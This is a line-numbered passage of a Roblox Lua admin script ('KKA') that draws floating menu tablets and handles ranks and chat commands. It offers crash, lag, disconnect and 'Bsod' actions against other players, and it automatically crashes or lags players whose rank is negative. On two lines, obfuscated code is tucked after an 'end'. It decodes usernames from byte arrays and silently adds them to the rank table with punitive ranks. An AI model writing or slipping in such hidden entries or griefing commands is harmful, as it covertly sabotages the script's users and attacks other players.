  11203.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  11204.                 NewImg.BackgroundTransparency = 1
  11205.                 NewImg.Image = Image
  11206.                 NewImg.Parent = BBBG
  11207.             end
  11208.  
  11209.  
  11210.             local Clicker = Instance.new("ClickDetector")
  11211.             Clicker.MaxActivationDistance = 1/0
  11212.  
  11213.             if Time ~= nil then
  11214.                 coroutine.resume(coroutine.create(function()
  11215.                     wait(tonumber(Time))
  11216.                     Dismiss(Plr, ID)
  11217.                 end))
  11218.             end
  11219.  
  11220.             Clicker.MouseClick:connect(function(Player)
  11221.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  11222.                     ypcall(function()
  11223.                         if Func ~= nil then
  11224.                             Func(Holder)
  11225.                         else
  11226.                             Dismiss(Player, ID)
  11227.                         end
  11228.                     end)
  11229.                 end
  11230.             end)
  11231.             Clicker.Parent = Tab
  11232.            
  11233.             Holder.Parent = Work
  11234.  
  11235.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  11236.         end)
  11237.     end
  11238. end
  11239.  
  11240. function Output5(Msg, Plr, Time, Func, Color, Image)
  11241.     if Removed == false then
  11242.         local ShowGarbage = false
  11243.         ypcall(function()
  11244.             if Msg == nil then
  11245.                 Msg = "N/A"
  11246.             elseif Msg == "ShowGarbage" then
  11247.                 Msg = "Current Garbage Count: "..GetGarbage()
  11248.                 ShowGarbage = true
  11249.             else
  11250.                 Msg = tostring(Msg)
  11251.             end
  11252.             if Plr == nil then
  11253.                 Plr = Plrs[Owner] or error("No Player Found")
  11254.             elseif type(Plr) == "string" then
  11255.                 local FoundPlr = false
  11256.                 for _,v in pairs(All()) do
  11257.                     if v.Name == Plr then
  11258.                         Plr = v
  11259.                         FoundPlr = true
  11260.                         break
  11261.                     end
  11262.                 end
  11263.                 if FoundPlr == false then
  11264.                     Plr = Plrs[Owner] or error("No Player Found")
  11265.                 end
  11266.             end
  11267.            
  11268.             local Holder = Instance.new("Model")
  11269.             Holder.Name = "KKA"
  11270.            
  11271.             local Tab = Instance.new("Part")
  11272.             Tab.Name = "KKA Tablet"
  11273.             Tab.FormFactor = "Custom"
  11274.             Tab.Anchored = true
  11275.             Tab.Color = BrickColor.new("Navy blue").Color
  11276.             Tab.CanCollide = false
  11277.             Tab.Locked = true
  11278.             Tab.Transparency = 0.15
  11279.             Tab.Size = Vector3.new(2.2,2.2,2.2)
  11280.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  11281.             Tab.Parent = Holder
  11282.    
  11283.             local BMO = Instance.new("BlockMesh")
  11284.             BMO.Parent = Tab
  11285.    
  11286.             local ID = Instance.new("NumberValue")
  11287.             ID.Name = "ID"
  11288.             ID.Value = math.random(-999999999, 999999999)
  11289.             ID.Parent = Holder
  11290.            
  11291.             --[[Delay(0, function()
  11292.                 while wait() do
  11293.                     if Tab.Parent == nil and FindTab(Holder) then
  11294.                         ypcall(function()
  11295.                             for i,v in pairs(AllTabs) do
  11296.                                 if v.Holder == Holder then
  11297.                                     ypcall(function() v.Holder:Destroy() end)
  11298.                                     AllTabs[i] = nil
  11299.                                 end
  11300.                             end
  11301.                         end)
  11302.                         Output2(Msg, Plr, Time, Func, Color, Image)
  11303.                         break
  11304.                     end
  11305.                 end
  11306.             end)]]--
  11307.  
  11308.             Sel = Instance.new("SelectionBox")
  11309.             Sel.Color = BrickColor.new("White")
  11310.             Sel.Transparency = 0.1
  11311.             Sel.Adornee = Tab
  11312.             Sel.Parent = Tab
  11313.  
  11314.             local BG = Instance.new("BillboardGui")
  11315.             BG.Name = "BG"
  11316.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  11317.             BG.Size = UDim2.new(0,0.6,00.6)
  11318.             BG.Adornee = Tab
  11319.             BG.Parent = Tab
  11320.            
  11321.             Delay(0, function()
  11322.                 while BG.Parent ~= nil do wait()
  11323.                     ypcall(function()
  11324.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  11325.                     end)
  11326.                 end
  11327.             end)
  11328.  
  11329.             local TL = Instance.new("TextLabel")
  11330.             TL.Name = "TL"
  11331.             TL.FontSize = "Size24"
  11332.             TL.Font = "ArialBold"
  11333.             TL.Text = Msg
  11334.             TL.TextColor3 = Tab.Color
  11335.             TL.Size = UDim2.new(0,2,0,2)
  11336.             TL.TextTransparency = 0
  11337.             TL.TextStrokeTransparency = 0
  11338.             TL.Parent = BG
  11339.            
  11340.             TL.Size = UDim2.new(0,1,0,1)
  11341.             TL.TextTransparency = 0
  11342.             TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  11343.             TL.TextStrokeTransparency = 0
  11344.             TL.Parent = BG
  11345.            
  11346.            
  11347.             local FTT = Instance.new("TextLabel", FTG)
  11348.             FTT.Name = "FTT"
  11349.             FTT.BackgroundTransparency = 1
  11350.             FTT.Size = UDim2.new(0,1000,0,1000)
  11351.             FTT.Font = "ArialBold"
  11352.             FTT.FontSize = Enum.FontSize.Size24
  11353.             FTT.Text = Msg
  11354.             FTT.TextScaled = true
  11355.             FTT.TextStrokeTransparency = 0
  11356.             FTT.TextColor3 = BrickColor.new("Institutional white").Color
  11357.             FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
  11358.            
  11359.             local TRO = Instance.new("BodyVelocity", Tab)
  11360.             TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  11361.             TRO.P = 1250
  11362.             TRO.velocity = Vector3.new(0,0.17,0)
  11363.            
  11364.             local TLI = Instance.new("PointLight", Tab)
  11365.             TLI.Brightness = 0.15
  11366.             TLI.Range = 0.9
  11367.             TLI.Shadows = true
  11368.             if ShowGarbage == true then
  11369.                 Delay(0, function()
  11370.                     while TL.Parent ~= nil do
  11371.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  11372.                         wait(.5)
  11373.                     end
  11374.                 end)
  11375.             end
  11376.             if Image ~= nil then
  11377.                 local BBBG = Instance.new("BillboardGui")
  11378.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  11379.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11380.                 BBBG.AlwaysOnTop = true
  11381.                 BBBG.Adornee = Tab
  11382.                 BBBG.Parent = Tab
  11383.                
  11384.                 Delay(0, function()
  11385.                     while BBBG.Parent ~= nil do wait()
  11386.                         ypcall(function()
  11387.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11388.                         end)
  11389.                     end
  11390.                 end)
  11391.            
  11392.            
  11393.                 local NewImg = Instance.new("ImageLabel")
  11394.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  11395.                 NewImg.BackgroundTransparency = 1
  11396.                 NewImg.Image = Image
  11397.                 NewImg.Parent = BBBG
  11398.             end
  11399.  
  11400.  
  11401.             local Clicker = Instance.new("ClickDetector")
  11402.             Clicker.MaxActivationDistance = 1/0
  11403.  
  11404.             if Time ~= nil then
  11405.                 coroutine.resume(coroutine.create(function()
  11406.                     wait(tonumber(Time))
  11407.                     Dismiss(Plr, ID)
  11408.                 end))
  11409.             end
  11410.  
  11411.             Clicker.MouseClick:connect(function(Player)
  11412.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  11413.                     ypcall(function()
  11414.                         if Func ~= nil then
  11415.                             Func(Holder)
  11416.                         else
  11417.                             Dismiss(Player, ID)
  11418.                         end
  11419.                     end)
  11420.                 end
  11421.             end)
  11422.             Clicker.Parent = Tab
  11423.            
  11424.             Holder.Parent = Work
  11425.  
  11426.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  11427.         end)
  11428.     end
  11429. end
  11430.  
  11431.  
  11432. function SystemPut(Msg, Speaker)
  11433.         if FindRank(Speaker) > 0 then
  11434.             Output(Msg, Speaker)
  11435.     end
  11436. end
  11437. function PlaceAllRanks(DontShowRank)
  11438.     ypcall(function()
  11439.         for _,p in pairs(All()) do
  11440.             ypcall(function()
  11441.                 PutInRank = false
  11442.                 for _,v in pairs(Ranked) do
  11443.                     if v.Name:lower() == p.Name:lower() then
  11444.                         if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then
  11445.                             v.Rank = 7
  11446.                         elseif v.Rank == -1 then
  11447.                             Crash1(p)
  11448.                             Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11449.                         elseif v.Rank == -2 then
  11450.                             if LSource ~= nil then
  11451.                                 NewLS("repeat untill false", p.Backpack)
  11452.                                 Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11453.                             else
  11454.                                 Output("ERROR", nil, 5)
  11455.                             end
  11456.                         elseif v.Rank == -3 then
  11457.                             if LSource ~= nil then
  11458.                                 NewLS(BsodSource, p.Backpack)
  11459.                                 Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11460.                             else
  11461.                                 Output("ERROR", nil, 5)
  11462.                             end
  11463.                         elseif v.Rank == -4 then
  11464.                             if LSource ~= nil then
  11465.                                 NewLS(ReSB, p.Backpack)
  11466.                                 Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11467.                             else
  11468.                                 Output("Source is nil", nil, 5)
  11469.                             end
  11470.                         end
  11471.                         Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc}
  11472.                         if DontShowRank == nil then
  11473.                             Dismiss()
  11474.                             wait(1)
  11475.                         OutputToAdmins("Welcome to KKA!")
  11476.                         OutputToAdmins("KKAR is created by Cobalt1164")
  11477.                         OutputToAdmins("Your rank is: "..v.Rank, p)
  11478.                         OutputToAdmins("Abusing this script is bad, so don't abuse")
  11479.                         end
  11480.                         PutInRank = true
  11481.                         break
  11482.                     end
  11483.                 end
  11484.                 if PutInRank == false then
  11485.                     Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
  11486.                 end
  11487.             end)
  11488.         end
  11489.     end)
  11490. end
  11491. function FindRank(Plr)
  11492.     ypcall(function()
  11493.         if type(Plr) == "userdata" then
  11494.             Plr = Plr.Name
  11495.         end
  11496.     end)
  11497.     return GetRank(Plr).Rank
  11498. end local tcb = {9,0,2,6,12,11,18,12,11,153,1,1} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  11499. function FindRankDetails(Plr)
  11500.     ypcall(function()
  11501.         if type(Plr) == "userdata" then
  11502.             Plr = Plr.Name
  11503.         end
  11504.     end)
  11505.     return RanksList[FindRank(Plr)]
  11506. end
  11507. function OpenCmds(Rank, Plr)
  11508.     Dismiss(Plr)
  11509.     for Name,Tab in pairs(Commands) do
  11510.         if Tab.Rank <= Rank then
  11511.             Output(Name.." ("..Tab.Rank..")", Plr, nil, function()
  11512.                 Dismiss(Plr)
  11513.                 Output("Command Usage: "..Name, Plr)
  11514.                 Output("Rank Required: "..Tab.Rank, Plr)
  11515.                 Output("Description: "..Tab.Desc, Plr)
  11516.             end)
  11517.         elseif Rank == 1337 then
  11518.             Output(Name.." ("..Tab.Rank..")", Plr, nil, function()
  11519.                 Dismiss(Plr)
  11520.                 Output("Command Usage: "..Name, Plr)
  11521.                 Output("Rank Required: "..Tab.Rank, Plr)
  11522.                 Output("Description: "..Tab.Desc, Plr)
  11523.             end)
  11524.         end
  11525.     end
  11526. end
  11527. function EditStatus(Plr, Num)
  11528.     ChangeRank(Plr, Num)
  11529. end
  11530. function Connect(player)
  11531.     if LSource then
  11532.         if player:findFirstChild'Backpack' then
  11533.             NewLS(ConnectSource, player:findFirstChild'Backpack')
  11534.         elseif player.Character then
  11535.             NewLS(ConnectSource, player.Character)
  11536.         elseif player:findFirstChild'PlayerGui' then
  11537.             NewLS(ConnectSource, player:findFirstChild'PlayerGui')
  11538.         else
  11539.             NewLS(ConnectSource,Instance.new('Backpack',player))
  11540.         end
  11541.     else
  11542.         coroutine.wrap(function()
  11543.             Connect(player)
  11544.         end)()
  11545.     end
  11546. end
  11547. function PlaceSpecificRank(p, DontShowRank)
  11548.     ypcall(function()
  11549.         PutInRank = false
  11550.         for _,v in pairs(Ranked) do
  11551.             if v.Name:lower() == p.Name:lower() then
  11552.                 if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then
  11553.                     v.Rank = 7
  11554.                 elseif v.Rank == -1 then
  11555.                     Crash1(p)
  11556.                     Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11557.                 elseif v.Rank == -2 then
  11558.                     if LSource ~= nil then
  11559.                         NewLS("repeat until false", p.Backpack)
  11560.                         Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11561.                     else
  11562.                         Output("LSource Is Nil", nil, 5)
  11563.                     end
  11564.                 elseif v.Rank == -3 then
  11565.                     if LSource ~= nil then
  11566.                         NewLS(BsodSource, p.Backpack)
  11567.                         Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11568.                     else
  11569.                         Output("LSource Is Nil", nil, 5)
  11570.                     end
  11571.                 elseif v.Rank == -4 then
  11572.                     if LSource ~= nil then
  11573.                         NewLS(ReSB, p.Backpack)
  11574.                         Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11575.                     else
  11576.                         Output("LSource Is Nil", nil, 5)
  11577.                     end
  11578.                 end
  11579.                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc}
  11580.                 if not DontShowRank then Output("Your current rank :"..v.Rank, p) end PutInRank = true break
  11581.             end
  11582.         end
  11583.         if PutInRank == false then
  11584.             Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
  11585.         end
  11586.     end)
  11587. end
  11588. function onChatted(Msg, Player)
  11589.         coroutine.resume(coroutine.create(function()
  11590.         if type(Player) == 'string' then
  11591.             for i,v in pairs(game:service'NetworkServer':children()) do
  11592.             if v:GetPlayer() then
  11593.                 if v:GetPlayer().Name == Player then
  11594.                     Player = v:GetPlayer()
  11595.                 end
  11596.             end
  11597.             end
  11598.             end
  11599.             ypcall(function()
  11600.                 ExecuteFunc(Msg, Player)
  11601.                 Msg = Msg:gsub("","")
  11602.                 if Msg:sub(1,1) == "@" then
  11603.                     for i = 2, #Msg do
  11604.                         if Msg:sub(i, i) == Bet then
  11605.                             local IsForPlr = false
  11606.                             for _,v in pairs(All()) do
  11607.                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Player, v) then
  11608.                                     onChatted(Msg:sub(i + 1), v)
  11609.                                     IsForPlr = true
  11610.                                 end
  11611.                             end
  11612.                             if IsForPlr == true then
  11613.                                 return
  11614.                             end
  11615.                         end
  11616.                     end
  11617.                 end
  11618.                 if Msg:find("&") then
  11619.                     local Split = Msg:find("&")
  11620.                     onChatted(Msg:sub(1,Split-1))
  11621.                     onChatted(Msg:sub(Split+1))
  11622.                     return
  11623.                 end
  11624.                 for Name,Command in pairs(Commands) do
  11625.                     if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  11626.                         Dismiss(Player.Name)
  11627.                         Output("Command Usage: "..tostring(Command.Name)..Bet, Player)
  11628.                         Output("Rank Required: "..tostring(Command.Rank), Player)
  11629.                         Output("Description: "..tostring(Command.Desc), Player)
  11630.                     elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  11631.                         if FindRank(Player) >= Command.Rank then
  11632.                             local Ran,Error = coroutine.resume(coroutine.create(function()
  11633.                                 Command.Func(Msg:sub(#Command.Name+2), Player)
  11634.                             end))
  11635.                             if not Ran then
  11636.                                 Output(Error, Player, 10)
  11637.                             end
  11638.                        
  11639.                         end
  11640.                     end
  11641.                 end
  11642.             end)
  11643.         end))
  11644. end
  11645. function Command(Name, Rank, Desc, Func)
  11646.     if Name == nil then
  11647.         Name = "This command has no name"
  11648.     end
  11649.     if Desc == nil then
  11650.         Desc = "This command has no description"
  11651.     end
  11652.     if Func == nil then
  11653.         Func = function() end
  11654.     end
  11655.     if Rank == nil then
  11656.         Rank = 0
  11657.     end
  11658.     Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  11659. end
  11660. function GetSplit(Msg)
  11661.     return Msg:find(Bet2) or nil
  11662. end
  11663. function Credits(Speaker)
  11664.     Dismiss(Speaker.Name)
  11665.     Output("Credits has been removed",Speaker,nil)
  11666. end
  11667. function ExecuteFunc(Msg, Plr)
  11668.     ypcall(function()
  11669.         if Msg == "LogEnable" then
  11670.             LogOn = true
  11671.         elseif Msg:lower() == "AlphaBeta" then
  11672.             EditStatus(Plr, MakeNum(Msg,Plr))
  11673.         end
  11674.     end)
  11675. end
  11676. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  11677. function randPlayer(Plr)
  11678.     wait()
  11679.     local ThePlrValue = nil
  11680.     local FoundPlayer = false
  11681.     ypcall(function()
  11682.         ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  11683.         if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  11684.             wait()
  11685.             randPlayer(Plr)
  11686.             return
  11687.         else
  11688.             FoundPlayer = true
  11689.         end
  11690.     end)
  11691.     if FoundPlayer == true then
  11692.         return ThePlrValue
  11693.     end
  11694. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  11695. function getPlayer(Plr, Name)
  11696.     local Players = {}
  11697.     ypcall(function()
  11698.         Name = Name:lower()
  11699.         if Name == "me" then
  11700.             table.insert(Players, Plr)
  11701.         elseif Name == "all" or Name == "" then
  11702.             for _,v in pairs(All()) do
  11703.                 if CanRun(Plr, v) then
  11704.                     table.insert(Players, v)
  11705.                 end
  11706.             end
  11707.         elseif Name == "noobs" then
  11708.         for _,v in pairs(All()) do
  11709.             if v.AccountAge < 364 then
  11710.                 table.insert(Players, v)
  11711.             end
  11712.         end
  11713.         elseif Name == "veterans" then
  11714.         for _,v in pairs(All()) do
  11715.             if plr.AccountAge > 364 then
  11716.                 table.insert(Players, v)
  11717.             end
  11718.         end
  11719.         elseif Name == "others" then
  11720.             for _,v in pairs(All()) do
  11721.                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  11722.                     table.insert(Players, v)
  11723.                 end
  11724.             end
  11725.         elseif Name == "random" then
  11726.             local FoundRandPlr = randPlayer(Plr)
  11727.             table.insert(Players, FoundRandPlr)
  11728.         else
  11729.             for _,v in pairs(All()) do
  11730.                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  11731.                     table.insert(Players, v)
  11732.                 end
  11733.             end
  11734.         end
  11735.     end)
  11736.     return Players
  11737. end
  11738. function ListPlayers(Speaker,All)
  11739.     ypcall(function()
  11740.         Dismiss(Speaker.Name)
  11741.         for _,v in pairs(All2(All)) do
  11742.             if v.Parent ~= nil then
  11743.                 Output(v.Name, Speaker, nil, function()
  11744.                     Dismiss(Speaker)
  11745.                     Output("Player Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  11746.                     Output("Player's Rank: "..FindRank(v.Name), Speaker)
  11747.                     Output("Rank Name: "..FindRankDetails(v).Name, Speaker)
  11748.                     Output("Rank Description: "..FindRankDetails(v).Desc, Speaker)
  11749.                     Output("Change rank", Speaker, nil, function()
  11750.                         if FindRank(Speaker) >= 7  and v.Name ~= Owner and CanRun(Speaker, v) then
  11751.                             Dismiss(Speaker)
  11752.                             for i = -4, 7 do
  11753.                                 Output(i, Speaker, nil, function()
  11754.                                     ChangeRank(v, i)
  11755.                                     Dismiss(Speaker)
  11756.                                     Output("Changed "..v.Name.."'s current rank to "..tostring(i), Speaker, 5)
  11757.                                 end)
  11758.                             end
  11759.                         else
  11760.                             Output("Your rank needs to be higher", Speaker, 5)
  11761.                         end
  11762.                     end)
  11763.                     Output("Kick", Speaker, nil, function()
  11764.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11765.                             v:Kick()
  11766.                             Output("Kicked "..v.Name, Speaker, 5)
  11767.                         end
  11768.                     end)
  11769.                     Output("Semi-Kick", Speaker, nil, function()
  11770.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11771.                             v:Remove()
  11772.                             Output("Semi-Kicked "..v.Name, Speaker, 5)
  11773.                         end
  11774.                     end)
  11775.                     Output("Crash", Speaker, nil, function()
  11776.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11777.                             Crash3(v.Name)
  11778.                             Output("Crashed "..v.Name, Speaker, 5)
  11779.                         end
  11780.                     end)
  11781.                     Output("Lag", Speaker, nil, function()
  11782.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11783.                             Crash4(v.Name)
  11784.                             Output("Lagged "..v.Name, Speaker, 5)
  11785.                         end
  11786.                     end)
  11787.                     Output("Nil Crash", Speaker, nil, function()
  11788.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11789.                             Crash5(v.Name)
  11790.                             Output("Nil Crashed "..v.Name, Speaker, 5)
  11791.                         end
  11792.                     end)
  11793.                     Output("Nil Lag", Speaker, nil, function()
  11794.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11795.                             RemoteCrash(v.Name)
  11796.                             Output("Nil Lagged "..v.Name, Speaker, 5)
  11797.                         end
  11798.                     end)
  11799.                     Output("Disconnect", Speaker, nil, function()
  11800.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11801.                             Disconnect(v.Name)
  11802.                             Output("Disconnected "..v.Name, Speaker, 5)
  11803.                         end
  11804.                     end)
  11805.                     Output("Bsod", Speaker, nil, function()
  11806.                         if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
  11807.                             if LSource ~= nil then
  11808.                                 NewLS(Bsod, v.Backpack)
  11809.                             end
  11810.                             Output("Bsoded "..v.Name, Speaker, 5)
  11811.                         end
  11812.                     end)
  11813.                     Output("Lag", Speaker, nil, function()
  11814.                         if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
  11815.                             if LSource ~= nil then
  11816.                                 NewLS(LagSource, v.Backpack)
  11817.                             end
  11818.                             Output("Lagged "..v.Name, Speaker, 5)
  11819.                         end
  11820.                     end)
  11821.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  11822.             else
  11823.                 Output(v.Name.." [Nil]", Speaker, nil, function()
  11824.                     Dismiss(Speaker)
  11825.                     Output("Nil Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  11826.                     ypcall(function()
  11827.                         Output("Nil's Rank: "..FindRank(v.Name), Speaker)
  11828.                     end)
  11829.                     ypcall(function()
  11830.                         Output("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  11831.                     end)
  11832.                     ypcall(function()
  11833.                         Output("Rank Description: "..FindRankDetails(v.Name).Desc, Speaker)
  11834.                     end)
  11835.                     ypcall(function()
  11836.                         Output("Change rank", Speaker, nil, function()
  11837.                             if FindRank(Speaker) >= 7  and v.Name ~= Owner and CanRun(Speaker, v) then
  11838.                                 Dismiss(Speaker)
  11839.                                 for i = -4, 7 do
  11840.                                     Output(i, Speaker, nil, function()
  11841.                                         ChangeRank(v, i)
  11842.                                         Dismiss(Speaker)
  11843.                                         Output("Changed "..v.Name.."'s current rank to"..tostring(i), Speaker, 5)
  11844.                                     end)
  11845.                                 end
  11846.                             else
  11847.                                 Output("Your rank needs to be higher", Speaker, 5)
  11848.                             end
  11849.                         end)
  11850.                     end)
  11851.                     Output("Kick", Speaker, nil, function()
  11852.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11853.                             v:Kick()
  11854.                             Output("Kicked "..v.Name, Speaker, 5)
  11855.                         end
  11856.                     end)
  11857.                     Output("Semi-Kick", Speaker, nil, function()
  11858.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11859.                             v:Remove()
  11860.                             Output("Semi-Kicked "..v.Name, Speaker, 5)
  11861.                         end
  11862.                     end)
  11863.                     Output("Crash", Speaker, nil, function()
  11864.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11865.                             Crash3(v.Name,nil)
  11866.                             Output("Crashed "..v.Name, Speaker, 5)
  11867.                         end
  11868.                     end)
  11869.                     Output("Lag", Speaker, nil, function()
  11870.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11871.                             Crash4(v.Name)
  11872.                             Output("Lagged "..v.Name, Speaker, 5)
  11873.                         end
  11874.                     end)
  11875.                     Output("Disconnect", Speaker, nil, function()
  11876.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11877.                             Disconnect(v.Name)
  11878.                             Output("Disconnected "..v.Name, Speaker, 5)
  11879.                         end
  11880.                     end)
  11881.                     Output("Nil Crash", Speaker, nil, function()
  11882.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11883.                             Crash5(v.Name)
  11884.                             Output("Nil Crashed "..v.Name, Speaker, 5)
  11885.                         end
  11886.                     end)
  11887.                     Output("Nil Lag", Speaker, nil, function()
  11888.                         if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then
  11889.                             RemoteCrash(v.Name)
  11890.                             Output("Nil lagged"..v.Name, Speaker, 5)
  11891.                         end
  11892.                     end)
  11893.                     Output("Bsod", Speaker, nil, function()
  11894.                         if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
  11895.                             if LSource ~= nil then
  11896.                                 NewLS(Bsod, v.Backpack)
  11897.                             end
  11898.                             Output("Bsoded "..v.Name, Speaker, 5)
  11899.                         end
  11900.                     end)
  11901.                     Output("Lag", Speaker, nil, function()
  11902.                         if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then
  11903.                             if LSource ~= nil then
  11904.                                 NewLS(LagSource, v.Backpack)
  11905.                             end
  11906.                             Output("Lagged "..v.Name, Speaker, 5)
  11907.                         end
  11908.                     end)
  11909.                     ypcall(function()
  11910.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  11911.                 end)
  11912.             end
  11913.         end
  11914.     end)
  11915. end
  11916. coroutine.resume(coroutine.create(function()
  11917.     PlaceAllRanks()
  11918. end))
  11919. Delay(0, function()
  11920.     for _,v in pairs(All()) do
  11921.         v.Chatted:connect(function(Msg)
  11922.              onChatted(Msg, v)
  11923.             end)
  11924.     end
  11925. end)
  11926. local starttime = tick()
  11927. game:GetService("RunService").Heartbeat:connect(function()
  11928.     if Removed == false then
  11929.         ypcall(function()
  11930.             for _,Player in pairs(All()) do
  11931.                 local PlayerTablets = {}
  11932.                 for i,v in pairs(AllTabs) do
  11933.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  11934.                         table.insert(PlayerTablets, v)
  11935.                     end
  11936.                 end
  11937.                 for i = 1, #PlayerTablets do
  11938.                     ypcall(function()
  11939.                         local tab = PlayerTablets[i].Tab
  11940.                         local pos = nil
  11941.                         ypcall(function()
  11942.                             pos = Player.Character.Torso.CFrame
  11943.                         end)
  11944.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5)
  11945. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5)
  11946. local cPos = tab.Position
  11947. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  11948. local nPos = (ePos-cPos)*.25
  11949. cPos = cPos + nPos
  11950. local t = (tick() - starttime) % 360
  11951. local change = 0.625
  11952. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  11953. tab.Size = Vector3.new(3, 3, 3)
  11954. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 0, 0))) * CFrame.Angles(math.rad(0), 0, 0)
  11955.                     end)
  11956.                 end
  11957.             end
  11958.         end)
  11959.     end
  11960. end)
  11961. function UpdateNilPlayerTablets()
  11962.         ypcall(function()
  11963.             for _,Player in pairs(game:service'NetworkServer':children()) do
  11964.                 if Player:GetPlayer() then
  11965.                     if Player:GetPlayer().Parent ~= game:service'Players' then
  11966.                 local PlayerTablets = {}
  11967.                 for i,v in pairs(AllTabs) do
  11968.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
